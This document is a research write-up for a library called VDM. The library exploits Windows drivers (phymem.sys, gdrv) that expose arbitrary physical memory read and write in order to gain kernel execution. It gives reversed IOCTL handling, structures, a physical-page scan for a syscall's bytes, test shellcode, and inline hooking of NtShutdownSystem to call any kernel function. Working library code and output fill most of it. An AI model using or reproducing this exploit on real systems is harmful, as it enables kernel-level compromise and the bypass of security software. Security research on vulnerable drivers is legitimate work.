Download


PDF Version (Best Version) can be downloaded here: PDF Download.
You can download the open source repo here: VDM Repo.

Keywords


Vulnerable Driver, Physical Memory, Virtual Address, Relative Virtual Address (RVA), Inline Hooking, Arbitrary Physical Memory Access.

Introduction


Exploiting vulnerable Windows drivers to leverage kernel execution is not a new concept. Although software that exploits vulnerable drivers has been around for a long time, there has yet to be a highly modular library of code that can be used to exploit multiple drivers exposing the same vulnerability. Windows drivers exposing arbitrary physical memory read and write primitives are the most abundant form of vulnerable drivers. These drivers are used for many things ranging from reading CPU fan speeds to flashing BIOS. Although there are thousands of drivers that expose this primitive; doing anything useful with these drivers is not necessarily a straightforward task. In this research paper, I will be describing the steps on how to obtain kernel execution with an arbitrary physical memory read and write primitive. Furthermore, I will be demonstrating how simple it is to find and exploit such drivers whilst providing example code along the way.

Locating a Vulnerable Driver


Finding a driver that exposes arbitrary physical memory read and write is as easy as googling the phrases: BIOS flashing utility for Windows, CPU fan speed utility for Windows, or ASUS overclocking utility for Windows. There are hundreds if not thousands of these drivers which allow for arbitrary physical memory read and write. In this research paper I’m going to specifically speak about phymem.sys; a Supermicro BIOS flashing Windows utility which I discovered during the process of making the introduction to this paper. Although there is an abundance of vulnerable drivers that expose physical memory read and write; typically the ranges of physical memory that can be manipulated are restricted. In the case of phymem.sys, only the first 4GB of physical memory can be arbitrarily read and written to. Be aware of these potential memory range restrictions when hunting for a vulnerable driver yourself.

Once you think you have found a vulnerable driver determining that it is in fact vulnerable can be done by concluding that user controlled data is passed to either: MmMapIoSpace, ZwMapViewOfSection, or MmCopyMemory. This user controlled data is delivered to the driver’s device control major function by calling DeviceIoControl. In the case of phymem.sys, user controlled data is passed to MmMapIoSpace.

Interfacing With a Vulnerable Driver


After determining that a driver is vulnerable the next step is to Listing out how to interface with said vulnerable driver. The three most important values one should look for when reverse engineering the IRP_MJ_DEVICE_CONTROL function is: I/O control codes, IOCTL input and output buffer lengths, and finally input and output buffer(s). By observing how the user controlled data is used; a structure can be constructed.

InputBufferLength = StackLocation->Parameters
    .DeviceIoControl
    .InputBufferLength;
    
OutPutBufferLength = StackLocation->Parameters
    .DeviceIoControl
    .OutputBufferLength;
    
// IRP_MJ_DEVICE_CONTROL...
if (StackLocation->MajorFunction == 0xE) 
{
	v22 = StackLocation->Parameters
	    .Read
	    .ByteOffset
	    .LowPart;
	    
	// 0x80002000 (MAP_PHYSICAL_MEMORY)
	switch (v22 + 0x7FFFE000)
	{
	case 0u:
	    // mind lengths for DeviceIoControl...
		if (InputBufferLength != 16i64 ||
		    OutPutBufferLength != 8i64)
			    return {}; // invalid lengths...
		else
		{
			// 4gb of physical memory limit
			UserControlledPhysicalAddress.QuadPart = 
			    *((_QWORD*)SystemBuffer + 1) 
			        & 0xFFFFFFFFi64;
			        
			VirtualAddress = MmMapIoSpace
			    (UserControlledPhysicalAddress,
			        *(_QWORD*)SystemBuffer, NULL);
			        
			// IoAllocateMdl
			// MmBuildMdlForNonPagedPool...
			// MmMapLockedPagesSpecifyCache...

In the case of phymem.sys, the input buffer length is 16 bytes, and the output buffer length is 8 bytes. Looking at how SystemBuffer is used in Listing 1 you can see that it is a structure containing two QWORD sized fields. Further inspection concludes that the first QWORD field contains the size value in bytes of how much physical memory to map, and the second QWORD field is the physical address of memory to be mapped. As you can see in Listing 1, line 33, the top 32bits of the physical address is ignored. This limits the physical address to 32bits in size and thus the driver only allows us to map physical memory which is located in the first 4GB of physical memory.

#define MAP_PHYSICAL_MEMORY 0x80002000
#define UNMAP_PHYSICAL_MEMORY 0x80002004

// 16 bytes
typedef struct _map_phys_t
{
	union
	{
		std::uintptr_t map_size;  // + 0x0
		std::uintptr_t virt_addr; // + 0x0
	}
	std::uintptr_t phys_addr; // + 0x8
} map_phys_t, *pmap_phys_t;

Once a structure has been defined; interfacing with the vulnerable driver is just a matter of loading the driver into the kernel using NtLoadDriver, and then controlling the driver with DeviceIoControl.

Scanning Physical Memory


Although physical memory may seem ambiguous, it is organized into fixed sized chunks called pages. Each page on a 64-bit system using a four layer paging table configuration is 4kB. Within this chunk size memory is contiguous. The last 12bits of every 64-bit virtual address is called the page offset. Knowing this one can scan every single page at a specific offset for specific bytes.

PAGE:00000001C01265F0 ; Exported entry 294. NtGdiDdDDICreateContext
PAGE:00000001C01265F0
PAGE:00000001C01265F0 ; =============== S U B R O U T I N E =======================================
PAGE:00000001C01265F0
PAGE:00000001C01265F0 ; Attributes:
PAGE:00000001C01265F0
PAGE:00000001C01265F0                 public NtGdiDdDDICreateContext
PAGE:00000001C01265F0 NtGdiDdDDICreateContext proc near             
PAGE:00000001C01265F0                 mov     [rsp+arg_8], rbx ; DxgkCreateContext
PAGE:00000001C01265F5                 mov     [rsp+arg_10], rdi
PAGE:00000001C01265FA                 mov     [rsp+arg_18], r12
PAGE:00000001C01265FF                 push    r13
PAGE:00000001C0126601                 push    r14
PAGE:00000001C0126603                 push    r15
PAGE:00000001C0126605                 sub     rsp, 200h
PAGE:00000001C012660C                 mov     rax, cs:__security_cookie
PAGE:00000001C0126613                 xor     rax, rsp
PAGE:00000001C0126616                 mov     [rsp+218h+var_28], rax
PAGE:00000001C012661E                 mov     r14, rcx
PAGE:00000001C0126621                 mov     [rsp+218h+var_170], rcx
PAGE:00000001C0126629                 mov     [rsp+218h+var_1A0], rcx
PAGE:00000001C012662E                 or      rdi, 0FFFFFFFFFFFFFFFFh
PAGE:00000001C0126632                 mov     [rsp+218h+var_1C0], edi
PAGE:00000001C0126636                 xor     ebx, ebx
PAGE:00000001C0126638                 mov     [rsp+218h+var_1B8], rbx
PAGE:00000001C012663D                 mov     rax, cs:qword_1C00AE960
PAGE:00000001C0126644                 test    al, 2
PAGE:00000001C0126646                 jnz     loc_1C01C3E8C
PAGE:00000001C012664C                 mov     [rsp+218h+var_1B0], bl

In Listing 3, the page offset for the system routine NtGdiDdDDICreateContext is 0x5F0. Simply scanning every single physical page at offset 0x5F0 for opcodes in NtGdiDdDDICreateContext is enough to get a handful of results. Testing each occurrence is required in order to determine that we have found the real NtGdiDdDDICreateContext in physical memory. Scanning each page one at a time is quite slow so to expedite the process VDM creates a new thread for each physical memory range.

Elevating to Kernel Execution


Everytime an occurrence of NtGdiDdDDICreateContext’s bytes is found in physical memory, a test is conducted to determine if the correct memory has been located. This test places some assembly code over the first few instructions of NtGdiDdDDICreateContext. NtGdiDdDDICreateContext is then called to see if the desired instructions were executed. Finally regardless of the situation the original bytes are restored.

bool vdm_ctx::valid_syscall(void* syscall_addr) const
{
	static std::mutex syscall_mutex;
	syscall_mutex.lock();

	static const auto proc =
		GetProcAddress(
			LoadLibraryA(syscall_hook.second),
			syscall_hook.first
		);

	// 0:  48 31 c0    xor rax, rax
	// 3 : c3          ret
	constexpr std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
	std::uint8_t orig_bytes[sizeof shellcode];

	// save original bytes and install shellcode...
	vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
	
	vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
	auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
	vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);

	syscall_mutex.unlock();
	return result == STATUS_SUCCESS;
}

Now that we know the correct location of NtGdiDdDDICreateContext’s routine in physical memory; we can install an inline hook at the beginning of the function everytime we want to call a specific function in the kernel, and then restore the original bytes once the syscall has finished. Locating specific routines in the kernel can be done with simple arithmetic. The location of kernel module base addresses can be obtained simply with NtQuerySystemInformation using SystemModuleInformation. This allows us to calculate the absolute virtual address of any kernel function we want. Simply by loading the driver which contains the function desired and subtracting the address of it from the base address of the loaded driver a relative virtual address is produced. Subsequently the inverse operation (addition) can be applied to the kernel modules base address to produce the absolute kernel virtual address of the desired function. In conjunction with the ability to inline hook NtGdiDdDDICreateContext this allows a VDM user to call any kernel function they desire.

Using A Vulnerable Driver With VDM


VDM allows a programmer to easily integrate a vulnerable driver into the project simply by coding four functions used by the rest of the project. The four functions that are required for VDM to work are: vdm::load_drv, vdm::unload_drv, vdm::read_phys, and vdm::write_phys. Once these functions have been programmed appropriately the library will take care of the rest. Most drivers map and unmap physical memory, so when programming vdm::read_phys and vdm::write_phys map the physical memory, use memcpy, then unmap the physical memory.

Currently the project is configured to use gdrv, but if you want to swap the driver out you must defined four functions. You can also change which syscall you want to hook by changing this variable inside of vdm_ctx/vdm_ctx.h.

// change this to whatever you want :^)
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem`", "ntdll.dll" };

vdm::load_drv


Replace this function with the code required to load your driver… Return an std::pair containing the driver handle and an std::string containing the registry key name for the driver. The key name is returned from loadup.

__forceinline auto load_drv() -> std::pair <HANDLE, std::string>
{
	const auto [result, key] =
	    driver::load(
		vdm::raw_driver,
		sizeof(vdm::raw_driver)
	    );

	if (!result) return { {}, {} };
	vdm::drv_handle = CreateFile(
		"\\\\.\\GIO",
		GENERIC_READ | GENERIC_WRITE,
		NULL,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL
	);

	return { vdm::drv_handle, key };
}

vdm::unload_drv


This code probably wont change, its just a wrapper function for driver::unload, but it also closes the driver handle before trying to unload the driver…

__forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key)
{
    return CloseHandle(drv_handle) && driver::unload(drv_key);
}

vdm::read_phys


Most drivers expose mapping of physical memory. This means you will need to map the physical memory, memcpy it, then unmap it. This allows support for drivers that actually only offer physical read and write and not physical map/unmap.

__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
{
    // code to read physical memory. most drivers offer map/unmap physical
    // so you will need to map the physical memory, memcpy, then unmap the memory
}

vdm::write_phys


This function is going to probably contain the same code as vdm::read_phys except the memcpy dest and src swapped…

__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
{
    // code to write physical memory... same code as vdm::read_phys
    // except memcpy dest and src are swapped.
}

VDM Example


// read physical memory using the driver...
vdm::read_phys_t _read_phys =
	[&](void* addr, void* buffer, std::size_t size) -> bool
{
	return vdm::read_phys(addr, buffer, size);
};

// write physical memory using the driver...
vdm::write_phys_t _write_phys =
	[&](void* addr, void* buffer, std::size_t size) -> bool
{
	return vdm::write_phys(addr, buffer, size);
};

vdm::vdm_ctx vdm(_read_phys, _write_phys);

const auto ntoskrnl_base =
reinterpret_cast<void*>(
    util::get_module_base("ntoskrnl.exe"));

const auto ntoskrnl_memcpy =
    util::get_kernel_export("ntoskrnl.exe", "memcpy");

std::printf("[+] drv_handle -> 0x%x, drv_key -> %s\n", drv_handle, drv_key.c_str());
std::printf("[+] %s physical address -> 0x%p\n", vdm::syscall_hook.first, vdm::syscall_address.load());
std::printf("[+] ntoskrnl base address -> 0x%p\n", ntoskrnl_base);
std::printf("[+] ntoskrnl memcpy address -> 0x%p\n", ntoskrnl_memcpy);

short mz_bytes = 0;
vdm.syscall<decltype(&memcpy)>(
	ntoskrnl_memcpy,
	&mz_bytes,
	ntoskrnl_base,
	sizeof mz_bytes
);
std::printf("[+] kernel MZ -> 0x%x\n", mz_bytes);

The result from the code displayed above should be the following:

[+] drv_handle -> 0x100, drv_key -> frAQBc8Wsa1xVPfv
[+] NtShutdownSystem physical address -> 0x0000000002D0B1A0
[+] NtShutdownSystem page offset -> 0x1a0
[+] ntoskrnl base address -> 0xFFFFF80456400000
[+] ntoskrnl memcpy address -> 0xFFFFF804565D5A80
[+] kernel MZ -> 0x5a4d
[+] press any key to close...

Limitations


  • VDM will not work on HVCI systems.
  • Inline hooks on syscall is not thread safe and can cause system instability.

Conclusion


VDM abstracts the concept of a vulnerable driver that exposes physical memory read and write to a method in which you can call into any kernel function you desire. The overabundance of vulnerable drivers exposing this primitive allows VDM to be much more modular and thus much more attractive than other public options.

Examples